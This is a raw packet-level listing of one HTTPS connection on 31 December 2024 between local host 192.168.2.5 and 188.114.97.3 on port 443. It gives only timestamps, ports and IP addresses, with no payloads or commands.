Dec 31, 2024 09:25:06.391927958 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.391978025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.391979933 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.391989946 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.392029047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.397106886 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.397178888 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.397208929 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.397242069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.397268057 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.397274971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.400522947 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.409162998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.409218073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.409327030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.409363031 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.409373999 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.409382105 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.409857035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.422812939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.422874928 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.422877073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.422888041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.422924995 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.423377991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.423424006 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.423434973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.423443079 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.423477888 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.423480988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.423490047 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.423552036 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.423557997 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.424175024 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.424226999 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.424232960 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.424525976 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.426356077 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.426439047 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.426484108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.426538944 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.433186054 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.433235884 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.433403015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.433453083 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.443721056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.443788052 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.443902016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.443933964 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.443948030 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.443955898 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.444137096 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.444185019 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.444230080 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.444638014 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.444699049 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.448076963 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.448129892 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.457613945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.457660913 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.457676888 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.457690001 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.457714081 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.457758904 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.465662003 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.465708971 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.465735912 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.465749979 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.465781927 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.465815067 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.465818882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.465830088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.465862989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.466063976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.466119051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.469602108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.469646931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.469722033 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.469764948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.469997883 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.470038891 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.473546982 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.473609924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.474067926 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.474117041 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.474128962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.478486061 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.478542089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.478553057 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.478691101 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.478740931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.478749990 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.483781099 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.483814955 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.483836889 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.483850002 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.483860970 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.483897924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.484297991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.484349966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.496289015 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.496345997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.496593952 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.496644974 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.509753942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.509814024 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.509917021 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.509968996 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.510337114 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.510390043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.510698080 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.510751963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.520047903 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.520103931 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.520237923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.520309925 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.520376921 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.520431042 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.521095991 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.521142960 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.530474901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.530556917 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.530706882 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.530764103 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.530956030 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.531002045 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.531086922 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.531140089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.531505108 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.531558990 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.535106897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.535157919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.535226107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.535279989 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.539370060 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.539426088 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.544699907 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.544739962 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.544766903 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.544770956 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.544796944 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.549069881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.549128056 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.549134016 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552556038 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552613020 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.552618027 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552675962 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.552695990 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552742004 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552747965 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.552755117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.552777052 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.556657076 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.556687117 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.556708097 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.556720018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.556750059 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.560477018 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.560530901 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.560547113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.560599089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.560622931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.560684919 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.565488100 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.565550089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.565608978 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.565653086 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.570676088 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.570755959 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.570841074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.570894957 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.583004951 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.583071947 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.583429098 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.583487034 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.596649885 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.596714973 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.596777916 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.596828938 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.597362995 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.597434998 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.597551107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.597609997 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.606812954 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.606874943 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.607050896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.607110977 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.607203007 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.607253075 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.607836008 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.607888937 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.608012915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.608069897 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.618045092 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.618062973 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.618124962 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.618140936 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.626478910 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.626493931 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.626539946 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.626557112 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.626583099 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.626604080 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.631406069 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.631474018 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.639405012 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.639425993 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.639513016 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.639520884 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.639612913 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.647383928 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.647414923 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.647449017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.647454023 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.647496939 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.670043945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670063972 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670120001 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.670126915 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670161009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670185089 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.670191050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670211077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.670444965 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670504093 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.670510054 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.670588017 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.684097052 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.684129953 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.684187889 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.684195042 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.684281111 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.694044113 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.694113970 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.694118977 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.694434881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.694487095 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.694494009 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.694588900 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.694638014 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.694643974 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704260111 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704308987 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.704315901 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704457998 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704499006 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704505920 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.704513073 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704545021 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.704814911 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.704864025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.708631992 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.708694935 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.708805084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.708858013 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.713196039 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.713277102 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.718216896 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.718280077 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.722569942 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.722601891 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.722654104 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.722657919 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.722781897 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.722831964 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.722837925 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.726279974 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.726326942 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.726334095 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.726383924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.730240107 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.730293036 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.730309963 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.730315924 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.730375051 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.734163046 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.734225988 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.734276056 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.734330893 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.739074945 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.739124060 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.756772041 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.756843090 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.757004976 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.757105112 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.757370949 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.757426023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.770394087 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.770459890 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.771017075 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.771060944 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.771081924 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.771090984 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.771353006 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.780584097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.780646086 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.780812025 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.780868053 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.781056881 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.781106949 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.791073084 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.791141033 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.791553020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.791625023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.792159081 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.792222023 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.795845985 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.795911074 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.799989939 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.800054073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.805023909 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.805084944 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.805290937 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.805346966 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.809979916 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.810039043 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.814027071 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.814075947 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.814187050 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.814239025 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.817147017 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.817205906 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.817349911 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.817416906 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.821350098 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.821414948 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.826090097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.826149940 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.850270987 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.850328922 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.850471020 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.850517035 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.851195097 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.851250887 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.857153893 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.857217073 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.857428074 CET	443	49707	188.114.97.3	192.168.2.5
Dec 31, 2024 09:25:06.857481003 CET	49707	443	192.168.2.5	188.114.97.3
Dec 31, 2024 09:25:06.858206987 CET	443	49707	188.114.97.3	192.168.2.5
